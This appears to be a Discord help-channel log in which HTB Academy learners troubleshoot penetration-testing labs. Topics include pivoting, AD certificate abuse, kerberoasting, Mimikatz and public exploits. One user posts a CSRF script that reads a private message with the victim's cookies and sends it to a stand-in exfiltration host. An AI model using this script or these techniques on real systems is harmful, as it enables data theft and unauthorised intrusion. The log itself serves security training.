thanks for explaining all this to me btw

[fathom pendant]

I suggest looking into ToS if you're unsure

[silent glade]

yeah but sites be making that crap long on purpose so you can't read it, roblox literally said it does that

[fathom pendant]

Skill Issue then

[silent glade]

fair

[fathom pendant]

Responsibly, any services you pay for, you should read the ToS

As EULAs and ToS are legally binding contracts

[silent glade]

yeah i never pay for anything online i always gotta find a free alternative

[silent glade]

bro pls stop you're making me anxious

[fathom pendant]

Well downloading cracks is an easy way to get your computer infected

[silent glade]

only thing legally related i did was add privacy policy and tos to my shopify store, and that thing tired me tf out let alone all these other things

[silent glade]

huh, im talking about for example shopify is paid, i find something thats free

[fathom pendant]

We're driving way off topic now

[silent glade]

oh yeah i forgot sorry

[fathom pendant]

If you want to talk in other channels, read and follow #welcome

[silent glade]

oh

they should have put it in verify or something ive been searching this entire time lmao ty im stupid

[viral lotus]

just my two cents the information in these courses will give you the ability to do many things its a question of your ethics and morals as to what you do with it hence you have white hat and black hats, much like anything you can either use it for good or bad either way you still have to learn how to use it

[fathom pendant]

HTB spins it in a professional way, the modules and labs are framed in a way that you and imaginary colleagues were contracted to test the fictional company InlaneFreight

[silent glade]

i just want to state this incase anyone i know is reading this, i dont know what any of this is dont talk to me about it cause i swear i dont know either

yeah that looks more suspicious doesnt it

[fathom pendant]

No one knows shit about fuck my guy

[silent glade]

respect

[fathom pendant]

Things evolve and change every day

[silent glade]

i feel like the kid eating at the adults table rn

[fathom pendant]

HTB strives to build a strong foundation for you to further research and expand on

And as per one of the big guys G0blin, they are planning to keep things as reasonably affordable as possible

[viral lotus]

I was always taught to be the dumbest person in a room its how you learn most, I am on a learning path like the rest of us. just asking the right questions helps

[fathom pendant]

Compared to OSCP, CPTS costs a fraction

That's a username that's typing lmao

[silent glade]

idk man, ive been the dumbest for 9 years now and i think i need to repeat primary school

[fathom pendant]

My best advice, take notes, create your own personal grimoire of tricks and links

[silent glade]

and my username is true btw, idk why they think that

[fathom pendant]

The best notes are ones that you understand

[silent glade]

i just know english and can read the settings in a device and suddenly im a hacking prodigy

[silent glade]

yeah ill keep that in mind

[fathom pendant]

Copy/pasting only gets you so far if you don't understand

[silent glade]

learned that the hard way actually when i lost all the code to my discord bot, im in pain now cause i cant rewrite it like how i used chatgpt when i started

[fathom pendant]

If you don't know why you use a tool, then you don't understand what to do when faced with an unfamiliar situation

chatGPT can be used as a tool for understanding, however, don't let it replace your actual brain

We will make fun of you for it lol

[silent glade]

@fathom pendant how big is your forehead

[silent glade]

and I shall accept it with grace

[fathom pendant]

Irrelevant

[silent glade]

was calling you smart but ok

[fathom pendant]

Either way. Take notes, if it seems important -- write it down

A lot of basic modules will break commands down

[silent glade]

btw

cubes can be earned for free right

[fathom pendant]

No

[silent glade]

ill be checking in here more, i like this server

[silent glade]

im getting a job

[fathom pendant]

Tier 1+ modules only refund 20% and you never go positive by just doing modules

You can also message support regarding getting the academic discount

$8/month

[silent glade]

oh ok

thanks, ill be going now.

[fathom pendant]

Gl

[bold sinew]

Module: Login Brute Forcing > Skills Assessment - Service Login

I am having trouble with the first question, which asks me to use the information from the previous module to create a custom password wordlist that meets password policy and use usernameGenerator to generate potential usernames, then brute force the SSH server on the target host.

I have managed to narrow down the potential username to ||h.potter|| and the worldlist I created with ccup is failing to get a hit. I only used the first and last name to generate the password list (and allowed for special characters) but im not getting hits. Do I have the right username? Am I on the right track or have I made a mistake here?

[summer swallow]

How to set white background for academy modules ?

[cloud urchin]

there's probably some theme addon out there for something like that

[summer swallow]

in chrome ?

or firefox ?

[cloud urchin]

idk, search for either one you use

you can also manually edit the css style sheet maybe

why would you want to blind yourself though lol

[summer swallow]

ah.... found something.

[summer swallow]

Just trasitioning habits

[silk anchor]

Just finished the footprinting module, the medium and hard test boxes are no joke. Medium took longer than hard 😂

[summer swallow]

The irony

haha

[fathom pendant]

Some people have vision issues and dark background actually makes it harder to read

[cloud urchin]

probably have vision issues from using white backgrounds their whole life 😛

[fathom pendant]

Or other vision acuity issues

[noble heath]

Hello, for INTRODUCTION TO THREAT HUNTING & HUNTING WITH ELASTIC (Hunting for Stuxbot)
https://academy.hackthebox.com/module/214/section/2285
Can someone from the admin, confirm if a AMSIBypass took place for the following screenshot:

As analyzing the related Windows Event Code 4104 for this that involves a shell code has a resemblance with the known AMSIBypass from @am0nsec

[flat axle]

I’m trying to download a file to get a flag but I can’t figure it out can anyone help?

[fathom pendant]

What module are you working on

You need to give us enough info to be able to help you
Module name; section name; what's causing you trouble

[blissful elm]

hey, i have almost completed cpts 85 % , now i was thinking does the defense part going to be ez or it doesn't matter

[fathom pendant]

Was there in depth evasion tactics in the course? No

You'll only encounter on the exam what you encounter in the path

[blissful elm]

beside cpts which path u follow marcie

[fathom pendant]

I haven't finished the path yet and don't plan on doing anything extra

[storm elk]

Anyone else having issues spawning targets again? Module : blind sql injections. Section: skill assessment

Been waiting for 6 minutes now 😅

[next bronze]

try changing servers

[storm elk]

It won’t stop the spawning it seems. Just killed the pwnbox

[next bronze]

huh? refresh the page and it will let you spawn again

[storm elk]

It didn’t 😅 There we go, after 9 minutes

Finally. Maybe the lab is that big 😨

Working now. This is gonna be a fun one

[next bronze]

[normal sand]

Module: PIVOTING, TUNNELING, AND PORT FORWARDING
Section: Skills Assessment

I'm currently struggling with discovering hosts from my double pivot.
I've already done the setup in ligolo for Pivot02, but I'm not sure if it's correct. It wouldn't let me add the route 172.16.0.0/16 for ligolo2 as well, so I added the route 172.16.6.0/24 instead.

After doing this, I tried a ping sweep on 172.16.6.0/24 and it returned a bunch of hosts. I used this command for the ping sweep:

for i in {1..254} ;do (ping -c 1 172.16.6.$i | grep "bytes from" &) ;done

Now I don't know which host to proceed with.

[normal sand]

Tried to perform a ping sweep from Pivot02 itself, resulted in nothing. This was the command:

for /L %i in (1 1 254) do ping 172.16.6.%i -n 1 -w 100 | find "Reply"

[vague sage]

well ive finished the introduction finally
but
i still cant unlock the introduction to bash scripting because i have no cubes

[void hemlock]

Module: ADCS attacks
Section: Skills assessment

To get initial access to DEV01, I tried to use ESC8 but the coerce failed (using coercer or petitpotam.py). Can someone give me a hint? thanks

[simple loom]

Hi all!

I am on the Pivoting Module Skill assessment and I already compromised the windows host through the webserver. I noticed that there is another subnet and performed a pingsweep, but I am unable to perform an nmap scan to this nerwork. I am unsure on how to make this double pivot to my attack host. Can anyone help me on this?

Ty in advance!!

[sterile vigil]

HTTP ATTACKS - TE.CL

Could someone give me explanation, what wrong i do?

[blissful elm]

hmmmm

can't get ouput what i need

"Obtaining the KRBTGT Account's NT Hash using Mimikatz", "Attacking Domain Trusts - Child -> Parent Trusts - from Windows"

[thorn hawk]

hello amigos. I hope everybody is having an amazing Friday - weekend almost here. I have a minor question of the SSRF module at the blind SSRF question. This time we require to only encode our python web shell 2 times rather than 3 times which was the case in the SSRF example. The server structure to my knowedge is the same as the SSRF example. Why do we encode only 2 times this time?

[muted kindle]

wat user r u

[blissful elm]

htb-student

i just copy pasted

[blissful elm]

.

[muted kindle]

is it a domain user?
The getncchanges error means ur user doesn’t have replication rights
User must be local admin on DC or a domain admin

[blissful elm]

so using mimikatz by admin access help this , right?

let me try thi

it worked, 👍👍

[round moat]

guys I cant understand why every lab am trying to solve seems buggy on htb
Enumerate the MySQL server and determine the version in use. (Format: MySQL X.X.XX)
Am trying to solve this lab, and even used "sudo nmap <ip> -sC -sV -p3306 --script mysql*" to know the version
But it doesnt show me the version

help!!

[autumn pilot]

If you think you have issues with the labs, did you try to reach out to support to verify that

[round moat]

yes i did messaged but still no reply!
What should I do?

[autumn pilot]

There are troubleshooting tips on https://help.hackthebox.com/ related to the VPN

[round moat]

already done still no reply

[zealous arch]

INCIDENT HANDLING PROCESS During an investigation, we discovered a malicious file with an MD5 hash value of ‘b40f6b2c167239519fcfb2028ab2524a’. How do we usually call such a hash value in investigations? Answer format: Abbreviation

IOC ABBREVATION IS ANSWER BUT ANSWER IS NOT ACCEPTING

anyone help me

[muted kindle]

IOC should be accepted

[hexed lintel]

I got the credential for svc_sql using kerberoasting, what is the best method to get the ip of this user so that i can login with evil-winrm

[zealous arch]

no its showing error ,i typed answer :indicators of compromise

[normal sand]

Could someone help me with this? @muted kindle

[zealous arch]

what to do stuck

[muted kindle]

netexec

[muted kindle]

did the switching routes work?

[zealous arch]

help me guys please

[muted kindle]

ioc

[normal sand]

I don't know since I don't know the IP address of the final host.

My attempts at a ping sweep either result in a ton of hosts or nothing.

I tried a configuration of 172.16.5.0/24 for ligolo and 172.16.6.0/24 for ligolo2 as well.

My current issue lies with host discovery.

I've tried the ping sweep commands from the module along with some Nmap scans, but no solid result.

[zealous arch]

worked , thank you so much

[normal sand]

I was able to discover the first pivot host with ping sweep, after running it twice, didn't catch it the first time.

[muted kindle]

so u have changed sessions to the second agent and started --tun ligolo2?
Then the nmap -sn the network address of the new interface should pick something out ?

[normal sand]

Alright, I'll give the nmap -sn command a go again, last time it returned a bunch of hosts.

[frigid pelican]

I have the " Target(s) are spawning..." for 10 minutes now - is there anything i can do besides, terminate, refresh and/or restart ?

whenever i boot up HTB it will just say Target(s) are spawning...

[torn steppe]

me too !! I can't get access to the machine, it is always spawwning

[normal sand]

I've been having the same issue since yesterday, I just keep refreshing, try to spawn the target, and if that doesn't work, then refresh and try again.

[frigid pelican]

alright, thanks for the feedback

[hexed lintel]

how will netexec give the ip

[muted kindle]

are you trying to find which box it can login to?

[hexed lintel]

no, i got the svc_sql user's password using kerbroasting and i want to login to this user, but i dont know the ip

how to get find the ip of this user

[normal sand]

@muted kindle which routes should I add this time?

172.16.0.0/16 ligolo
172.16.6.0/24 ligolo2

or

172.16.5.0/24 ligolo
172.16.6.0/24 ligolo2

[muted kindle]

i'm not understanding something here
IP isn't tied to a user it's by machines
You need to check it against a list of IP to see which one it can login to

[muted kindle]

u ifconfig the agent
its IP and subnet mask
determine its network address, thats the route to add

[normal sand]

These are the IP addresses I have, and if I follow what you said, it won't allow me to add a second route.

So if I've already added the route 172.16.0.0/24 on the tun ligolo, it won't allow me to add the same route on tun ligolo2.

[muted kindle]

are these all in the same subnet ?

[normal sand]

Yeah, since the mask is 255.255.0.0 /16, they're in the same subnet, no? Cuz the network address will be 172.16.0.0 for both then?

[muted kindle]

hmm since theres no new subnet then theres no new routes

[normal sand]

Yeah, so what would you suggest I do? Should I change the first route to be 172.16.5.0/24 and make the second route 172.16.6.0/24 or 172.16.0.0/16?

Side note: I've tried performing a ping sweep directly from pivot 2's CMD, but that gave no results.

[muted kindle]

Sorry cant see the module so idk what its trying to get you to do
But if pc1 and pc2 in same subnet, pc2 has no new network interface, an agent is only needed on pc1
so there is only one route 172.../16 through ligolo

[normal sand]

Basically, it's trying to get me to double pivot. Pc2 (or pivot2) does have a new interface (IP address in the diagram).

[muted kindle]

it's strange because they all fall under the same network

Does the module want you to use other tools?

[normal sand]

I spoke with Xre0uS about this yesterday and he said the reason I prolly have to pivot is cuz of other things that may be segmenting the network.

[normal sand]

Yeah, it does, but I'm tryna do it with ligolo.

Well, it's skills assessment so it hasn't mentioned which tools to use, but I assume they expect me to use tools from the module.

[muted kindle]

iv'e no idea how to work with this then because if you add 2 routes it might get confused which interface a packet goes to because both aare same networks
Perhaps ask him again later

[normal sand]

Alrighty, thanks.

[muted kindle]

U still need help with ttht? you removed the message

[normal sand]

Ahh, was having issues, had to delete the message and then it got sent.

Discord being a little whacky, but yeah, I still need help with the host discovery.

[simple loom]

Hi can I dm you? I am fighting with the same monster D:

[normal sand]

Yeah, sure.

[muted kindle]

try having only one route
then nmap -sn 172.16.0.0/16 but thats gonna take a while
unless u write a bash command to ping with only 1 packet

[normal sand]

Alrighty, I'll give it a go.

[muted kindle]

When u tried doing it from inside pivot2 u scann the 172.16.6.1 - 172.16.6.254 ?

[normal sand]

Yes

@muted kindle I just checked Xre0uS's ligolo tutorial that I've been learning from, it seems to be a similar situation in the tutorial. He changed the /16 to /24 so he did 172.16.5.0/24 on dev ligolo and 172.16.6.0/24 on ligolo2. I'll give that a go and let you know.

[next bronze]

why can I not swtich vpn servers 💀

[next bronze]

tbh I usually just use /24 for the ip routes

at least for htb modules you can assume it's always /24

[normal sand]

Oh. You got any idea about how to deal with the situation I'm having rn? ^

[next bronze]

if it's irl check with their networking guy

[normal sand]

I'm now anxious about the kind of situation I'm having now showing up on the exam 😂

[next bronze]

just set it to /24

[normal sand]

Still the same after refreshing?

[muted kindle]

It confuses me too for the /16 🥴

[normal sand]

I'm doing it now, here's praying ping sweep works from pivot2

[next bronze]

it should be able to reach in theory but you don't really know whats behind the scenes

just be able to adapt ig, if something doesn't work, swtich things around and use the things that do

[next bronze]

yep

[normal sand]

What about if you spawn it from a different module?

Btw does ligolo get messed up if I change the routing table after I've already started a tunnel, shouldn't right?

[next bronze]

remove the old one, it will take precedence

[normal sand]

Done 👍

@next bronze @muted kindle I followed what Xre0uS said and added the routes. When I run the ping sweep tho, I get a TON of output 💀

[next bronze]

can't say that I've had that happen to me before

[muted kindle]

yeh ligolo never showed me that
go to the pivot2 run the ping sweep from it again

[normal sand]

Funnily enough tho, when I run it from the CMD on pivot2, I only get a few ping replies, from the hosts .25, .35, and .45

for /L %i in (1 1 254) do ping 172.16.6.%i -n 1 -w 100 | find "Reply"

[next bronze]

I'd probably restart the proxy and agents

[normal sand]

Like reconnect everything? I've done it already before, this is prolly my third time? It's always the same output 😂

[void hemlock]

Module: ADCS attacks
Section: Skills assessment

To get initial access to DEV01, I tried to use ESC8 but the coerce failed (using coercer or petitpotam.py). Can someone give me a hint? thanks

[next bronze]

yeah then I'm not sure, never seen this before

[normal sand]

I'm gonna be so dead on the CPTS exam when it comes to host discovery 🤣

[next bronze]

don't use ping

[normal sand]

What other options I got? ARP ping?

[next bronze]

scan select ports with nmap

[normal sand]

Oh, like top 10 ports you mean for the entire subnet?

sudo nmap --top-ports=10 172.16.0.0/16

So something like that ^ ?

[next bronze]

10 might be too few, I just use -F

that scans the top 100

[normal sand]

And use the -Pn as well, right?

[muted kindle]

if u do that for a /16

😬

[next bronze]

yeah do /24

[normal sand]

So by doing that I'm basically making an assumption that the host will be on that part of the subnet, yeah?

Since the second interface has the X.X.6.X

[normal sand]

And what about this? It's needed, right?

Tbh I use it in all my scans. It's supposed to disable ICMP echo iirc.

[next bronze]

yes to both

[normal sand]

Alrighty, thanks.

So the command would be like this?

sudo nmap -F -Pn -n 172.16.6.0/24

[next bronze]

yeah that should work

[normal sand]

Best I first run the ping sweep from the actual host itself tho, then I'll resort to this command.

Thanks for your help, both of you.

[next bronze]

oops forgot to reply to you here, try another esc and coercer should work, make sure you gave it the credentials

[void hemlock]

I tried ESC11 but I still don't get any hits on my certipy listener.....

[next bronze]

what are you targeting

[void hemlock]

I'm trying to compromise dev01

[next bronze]

did you try multiple endpoints with coercer

[void hemlock]

yes I keep getting RPC_S_ACCESS_DENIED in the coercer output

[chilly grove]

Hu

Hi

[void hemlock]

is it possible that the DC was patched and I can no longer coercer it?

[next bronze]

are you trying to target the dc or dev01?

[void hemlock]

the DC, let me try dev01

[next bronze]

if you can esc11 the dc right away then what are the other questions for

[patent flower]

hi everyone
I'm stuck with this question " Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer." about the ORACLE TNS module.

[silk anchor]

Check the server is up/you are connected to VPN/Its the correct IP

[patent flower]

thx

[thorn hawk]

y0 y0 amigos. I found the answer to my own question. This time it is just internal server and local host thus 2 times html encoding. But i though that the internal server was only accessible through the first server. Anyways is something around these lines hahahah

[marble island]

Hey folks i'm prepping for the cpts and i'm going back to the modules for a revision, if i re-do the all of the skill assement with no issues i should be well revisioned for the cpts right? Or should i re-do all of the exercises too?

Do the skill assesment cover everything or should i go back to the exercises?

[zenith canopy]

it says 1 indicates 'remote server' and '0' indicates linked server, so are these two linked server? isnt a linked server supposed to be remote, im confused

[sour lake]

Hey guys I'm currently doing the Windows Privilege Escalation module and there is a question "What executable other than cmd.exe is blocked by AppLocker? " and I can't seem to find the solution to this question

[normal sand]

A remote server is not the same as a linked server. Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle.

This means that a linked server could just be another database server instance running on the same machine.

[zenith canopy]

what about a remote server? is it another database server instance that can be accessed remotely?

[normal sand]

Accessed remotely, I'm not 100% sure about this tho.

[zenith canopy]

why does the query retrieve a remote server?

[normal sand]

The query actually retrieves the contents of the table sysservers which I'm assuming contains remote and linked servers.

[zenith canopy]

oh right, isremote and srvname tables

[normal sand]

No, they're column names.

[zenith canopy]

right, *columns

[zenith canopy]

what is a transact sql statement

[normal sand]

It's Microsoft's extension to SQL.

[zenith canopy]

oh okay, thank you :))

[fathom heath]

Hi im working on the windows fundementals module and I cant seem to rdp into the box

i am connected to the vpn and see the box on a scan

any ideas?

[muted kindle]

What is the error

[fathom heath]

it just says cant connect i sent you a screenshoot

[muted kindle]

Ur pic is so large my phone is struggling to load it dam

[fathom heath]

lol sry

[candid lily]

trying to csrf, but cookies are not attached to the request why

[cloud urchin]

what module and section

[candid lily]

CORS Misconfigurations in advanced csrf and xss

[cloud urchin]

the code provided in the module worked for me

[candid lily]

fetch doesnt work?

[cloud urchin]

your code isn't doing anything with the fetch first of all

second i don't know programming well enough to know if all the works together, i know what the module provided worked

your code misses a lot, like exporting the data somewhere, using javascript base64 encoding, etc

try using the code in the module you may have better luck

you need to exfiltrate to the exfiltration server

[candid lily]

i was testing locally

[silk anchor]

In 'Active Subdomain Enumeration' the last question was "Submit the number of all "A" records from all zones as the answer."

I got the answer by manually checking and counting them, was there a way to do this with a tool that I am not aware of or is this the intended method ?

[fathom pendant]

This is intended, I believe however, that dig tells you how many records were retrieved

Or you can do some regex filtering and pass it to wc -l

[candid lily]

<!DOCTYPE html>
<html>
<body>
<script>
fetch("https://vulnerablesite.htb:51154/profile.php", {
  credentials: 'include'
})
.then(res => res.text())
.then(text => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(text, 'text/html');
    const element = doc.getElementById('private-message');
    window.location = 'https://exfiltrate.htb:51154/?data=' + btoa(element.innerHTML)
})
.catch(err => console.error('Error:', err));
</script>
</body>
</html>

will this script work for csrf

the module used xml request, i wanna try fetch

[fathom pendant]

Why not try it and see

[silk anchor]

Yeah it does, I just subtracted the non A records from the result.
;; XFR size: [redacted] records (messages 1, bytes 594)

Playing with Regex is beyond my skill/knowledge atm.

[fathom pendant]

Regex is a basic thing shown in the Linux Fundamentals module

grep -e "\sA\s" try passing your dig through this

[silk anchor]

Thanks will check that out, I did all my Linux stuff on THM and that wasn't covered iirc

[fathom pendant]

If it's not -e it's -E

[candid lily]

it somehow worked on remote and doesnt work locally

maybe because of browser difference

[silk anchor]

Nah it works, still need to add them up manually but this will be good to know if I need to filter out a huge list at some point. Thanks !

[fathom pendant]

There's a math function (which is bash scripting) {{ $(command 1) + $(command 2) }}

[silk anchor]

I can pipe it into wc -l and it works, Very cool!

[storm elk]

Is there a way to see responses to your posts in erratum? Mine seem to disappear 👀 (I have one open but am missing a few)

[coral forge]

Heyy :)), I'm on the Getting Started module of the Penetration Tester Path, on the Public Exploits part, and I am having troubles finding the right exploit to utilize on the target at the end, I did my enumeration and found an exploitable apache server and a Wordpress plugin (which also seems exploitable), but after trying some exploits I can't seem to find one that fits, what can I do to help me choose the right exploit?

[split glade]

You have to do something else before being able to use an exploit (at least for the route I took)

[coral forge]

Hmmm okok

ty for the help :))

[split glade]

If that's too subtle (it kind of is) -> some exploits don't work when you're ||unauthenticated||

[solid moth]

i am doing Skills Assessment - File Inclusion. now i know %00 works and "../../" can be detected and url encode doesn't work . any hints ?

[coral forge]

mmmmmmm I seee, I ran into that in some of them

[split glade]

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/7e4a38a1a5897a86f727341f90b199cc02ff0053/Directory Traversal ?

[coral forge]

I thought that this initial machines would be done only using mostly things learned on that part, but that makes a lot more sense, ty once again :))

[split glade]

Yes it's kind of surprising but a lot of HTB content requires to go further than just applying what you learned (in comparison to tryhackme for example)

[coral forge]

Yeah, I've only done a few machines in tryhackme that's why i was used to more linear machines, but this is way better imo

[pseudo kiln]

I have a question regarding Using Metasploit Framework Module, section Session & Jobs, last question. After exploiting the vulnerability with metasploit, I tried to the manual exploit too for practice. But no matter what I did I could not get it to work. It seems that it only works if you compile the C exploit on the target itself. But question is if I dont have gcc, does that meant manual exploitation is out of the way with metasploit being the only option ?

[fathom pendant]

If a mod closes it/sets to read only they "disappear"

[fathom pendant]

The right exploit is one that lets you read sometimes

[split glade]

Oh btw, I realised the Public Exploits part is an other exercise (but keep in mind what I said for later), in that case you can do it unauthenticated. In that case I'm a bit surprised that you're struggling because it's straightforward:

• when you go on the home page, the first thing you can read is "Plugin Simple Backup 2.7.10 for Wordpress"
• if you use exploit-db.com or searchsploit, you'll only have one result when searching for WordPress Plugin Simple Backup (you don't even have to search for a specific version)

[coral forge]

Bruhhh ahahaha, it didn't even occorred to me that that could be an exploit 💀 , I should've researched that, tyty

[coral forge]

I've got it know ahaha, tyty

[fathom pendant]

It's that simple

Often you need to log in as an administrator to see plug-ins but since this is a getting started thing, it's not that deep

[coral forge]

So the idea is that this types of plug-ins are hidden in a way, or they need authentication to be accessed?

[fathom pendant]

Well no

It's that plug-ins are managed by web admins usually

You're not often gonna see the plugin version in your face

Usually because threat actors can use versions as a way to find exploits

[coral forge]

I seee, so the key in this exercise was the plugin part, the fact that it was a plugin of WordPress isn't important, nor was the version of the WordPress?

[silk anchor]

Probably just worth noting that in the future modules you will do, that when you need to answer question you will already have covered the method to obtain the answer.
But you might need to use the info that you learned in a different way.

[coral forge]

That makes sense, ty very much for the explanations

[storm elk]

Okay 👌

[earnest mulch]

damm academy just got a lot better

[fathom pendant]

https://tenor.com/view/always-has-been-among-us-astronaut-space-betrayal-gif-23836476

[mellow holly]

what happened?

[split glade]

Then today I learned that I took an alternative path for the ||last exercise of the getting started path||
What I did was ||crawling the files on the server, finding one with the user hash, cracking the hash (the password is very weak), login with the user credentials, uploading a webshell||
When the intended path only needed|| the right exploit and a valid username||

[fathom pendant]

Both valid

[bright coral]

No, usually you can compile the code on another system that closely resembles the one you’re trying to exploit (same distribution, version, version of libc,…) and transfer the binary.
You can always look at the metasploit code for the module to check how they do it 😉

[quasi wave]

for some reason powershell is giving me this error when I try to transfer a file. I just got back to doing HTB Academy today for first time in a while and I'm sure my head is hazy. Is there something I'm not understanding from the module? This is for Windows File Transfers section of File Transfers module.

[topaz holly]

For the Shells & Payloads, the exercise in the Payloads section indicates to set the smb share variable SHARE to ADMIN$, however that variable is not present in the msf module. I cannot run the exploit.
It seems like the smbversion for pwnbox is casuing an issue though.

[pseudo kiln]

you mean translating the code to another language that is available on the target system ? btw I tried compiling it on my machien as I said but it does not work when transffered

[next bronze]

no, just compiling using the same or similar gcc version from another machine

[pseudo kiln]

apologies if I don't quite get it. Compile locally then transfer it ?

[next bronze]

yes, with the same or similar gcc version

[pseudo kiln]

yeah tried that it gave back some missing library error

[next bronze]

yes, hence the point with the same or similar gcc version

[pseudo kiln]

hmmm, not something I considered, so I should somehow find out what version of gcc they used in the github poc

and downgrade/upgrade to the same version

then compile it

[next bronze]

no, so you find out what glibc version are available on the target, then use the right gcc to compile it

you can't really downgrade it, that's why the originlal suggestion was to use "another system that closely resembles the one you’re trying to exploit"

[pseudo kiln]

ok so these would be the steps ?

1.find out available glib version on the target
2.set up a VM with the same glib version and compile the C exploit there
3.transfer the exploit to the target

[next bronze]

are you using the right exploit?

[next bronze]

correct, generally older versions will be compatible with new versions but not the other way around

[pseudo kiln]

alright, thanks a bunch for the help

feels like there should be a dedicated module for this C stuff too

[topaz holly]

yes its the windows smbexec exploit. Its weird. The specific error is :

peer_native_os is only available with SMB1 (current version: SMB3)

Im hung up on this right now trying to work out why it isn't working properly, its just supposed to be following through the module but I have this unexpected issue.

[next bronze]

check the exploit you're using

[pseudo kiln]

have you tried to reboot msfconsole or your VM ? sometimes that does the trick for me when metasploit throws up errors

[topaz holly]

Thanks lol wow I was going deep into it I for real overlooked to use psexec instead of webexec

I was about to run the exploit manually cause I thought the config within msf was wrong lol

do all of that before triple checking im using the right exploit smh lol. thanks though I appreciate it

[fathom pendant]

Look at the exploit names, yours is different from theirs

[topaz holly]

Thanks Marcie, I got it figured out ^. *Facepalm

[small sage]

Anyone have any actionable advice on feeling overwhelmed at how much information the whole PTJR path has? Like note taking/report writing guidance? It just seems like it's so much, and I'm not even halfway through. Specifically in preparation for the CPTS exam.

[dim wolf]

PTJR?

[small sage]

Penetration Tester Job Role.

[fathom pendant]

Just say pentester path or cpts path

[dim wolf]

chunk your workload into digestable segments

[north wave]

guys does cpts path provide some staff that can be put on linkedin (apart from cpts cert)

[dim wolf]

no

[vocal lagoon]

no grind it all within 30 hours and forget everything

[small sage]

I try, but I have a tendency to make things unnecessarily difficult. I'm using obisidian, and make an effort to name the "digestable sections" based on their target environment context. It mostly works, but I'm almost through AD Attacks & Enum, and my face feels like it's melting.

[next bronze]

take your time with it, AD is a huge topic and a lot of things can be overwhelming at first

you'll get better as time goes on and you practice more

[small sage]

Thanks for the encouragement. I also lack patience with myself, so taking my time takes effort. I've been thinking about splitting sessions between the modules and relevant boxes on the main platform. All while documenting and even writing actual reports once that module is done.
However, I feel like I don't have time to take. I'm not getting any younger, and however talented and disciplined I may be, it's seems like such a tall mountain, with a dozen or so false summits.

[fathom pendant]

You're implementing walls where ladders exist

Sure it's a tall mountain, but you tackle it a time

You're not expected to be an expert at the end

Just competent

The exam itself tests two things: your ability to do the work, and your understanding of the domain

[small sage]

That seems to be a common theme in my life. My coming to you all for advice is in direct confrontation of that element of my brain. The two words "Just competent" and your following message actually do feel like the chill pill I needed.

In other words, "Noob needs a chill pill."

[fathom pendant]

You're trying to achieve perfection when a later module might trivialize the basics

[small sage]

Thank you for that! I've self-witnessed it in the modules. I see how it builds and drives you to performing steps that call on prior modules and how prior modules seem trivial as the concepts get more towards targeting a whole network.

[fathom pendant]

They are building blocks

[small sage]

https://tenor.com/view/jin-ghost-of-tsushima-jinsakai-gif-26781351

[next bronze]

there's also no one way/thing to do get there right away, field field is all about constantly learning and improving

[fathom pendant]

Field field

[next bronze]

[small sage]

👹

[lime moth]

Sup all? Starting the modules over, this time taking notes on every module page. Any1 that has tips on how to take notes or organizing them? Curious to see how other do it

[cerulean grail]

Hi, in the "Footprinting SNMP" module on the "Pentester" path, could anyone please help me understand how it's best to approach the last question? I understand that I need to use snmpwalk in conjunction with grep to locate the script in the wall of text that is snmpwalk's output, but I'm not really sure how to approach this as I have no idea what that script might be called. I'm looking to better understand how to approach these scenarios as opposed to someone just flat out giving me the answer if possible.

[cerulean grail]

Hey, I'm taking notes on everything in the modules - from techniques, to tools used, to generic explanations. Feel free to DM me if you want to check out what I've done with regards to note-taking.

[small sage]

I use obsidian, I make folders for tools every time they're used and I make a quick explanation to myself of what they were used for. I also write what I call "Attack Narratives" of whatever the exercise is at the end of the lesson, that really amounts to just notes of me talking to myself lol, but it seems to help.

[silk anchor]

What type of file would a script be? I pasted the output into another application and used the search function.

[cerulean grail]

I'm not sure I fully understand what you're implying, as the flag I found had no extension that would suggest it's a script.

To be clear, I know what the answer is - just looking for insights on how to tackle these situations better in the future without reading through massive textual output

[dim wolf]

common script file extensions maybe, like .sh, .py

[silk anchor]

@cerulean grail ||Well... You know that is a linux system, which is likely to use a script that will run from a .sh file. You can just paste the output into subl and use the ctrl+f for .sh ||

[broken moss]

Hello everyone, what's the appropriate way to ask for guidnace on a module?

[dim wolf]

module name, section name, question or text snippet, your current understanding of what is being asked/told, what you have attempted to solve the question if any

[dim wolf]

is that string from the module

[silk anchor]

Yes, the flag isnt far away from where you find this.

[dim wolf]

you may want to omit that

[silk anchor]

Done

[broken moss]

For NTLM Relay Attacks - Skills Assessment, the second question/task is to compromise the BACKUP01 server. My understanding is below, but I'm stuck on moving forward

||I have used the mozhar account via ntlmrelay/responder to get smb access to the backup01 server, but couldn't write files and didn't see anything that helped so far. I have the sql_ftp_test account which provides me domain access, but I seem to be unable to coerce any auth with coercer/printerbug/petitpotam/etc, and unable to drop files anywhere. Noticed signing is disabled but not picking up any meaningful auths without coercion either||

[next bronze]

check the shares you can access with all the creds that you have

[broken moss]

Am I wrong in thinking I only have one set of creds? Other than ||mozhar on the backup server||?

I didn't see any read or write access to anything other than with the relayed creds

[next bronze]

is that for the second question?

[broken moss]

Yea

[next bronze]

what if you relay what you have to do something with ldap, then use that for your next step

[broken moss]

|| Create a computer account? I guess I'm unsure what I would use it for. Or do you mean enroll in a cert?||

[next bronze]

the former, then try to coerce with that

[broken moss]

Understanding that you're providing the guidance, I'll take your word for it. But in what scenario would someone encounter that? I don't think I've ever seen these types of coercion issues irl where you can relay with a computer account but not a standard user

[cerulean grail]

The accepted answer has no extension.

[next bronze]

you're not relaying, you're coercing. different types of accounts might have different access

[split glade]

Is it possible for a module (AD Enumeration & attacks) to use other 10.x.x.x IPs, when they are not listed next to "Target(s)"?

[broken moss]

I've still never seen that irl. With relaying, sure. But coercing, never seen specific accounts denied printerbug/petitpotam while others work haha

[next bronze]

maybe it's set up so that the original account doesn't have rights to interact with the target

[lime moth]

Ahh very nice! I will start adding that attack narrative too. Awesome idea

[broken moss]

👍🏼 thanks for the tip

[neon wadi]

I had trouble pinging the other hosts in that network. The best and fastest way I found to scan the networks was by installing nmap on the PIVOT-SRV01 Windows host, and scanning from there.

Eventually, I was able to get the pings to work, by changing to a different Academy server, and sending multiple pings. It took a while, but at least it worked:

0..255 | % {"176.16.5.$($): $(Test-Connection -Count 3 -Delay 2 -ComputerName 172.16.5.$($) -Quiet)"}
0..255 | % {"176.16.6.$($): $(Test-Connection -Count 3 -Delay 2 -ComputerName 172.16.6.$($) -Quiet)"}

[simple loom]

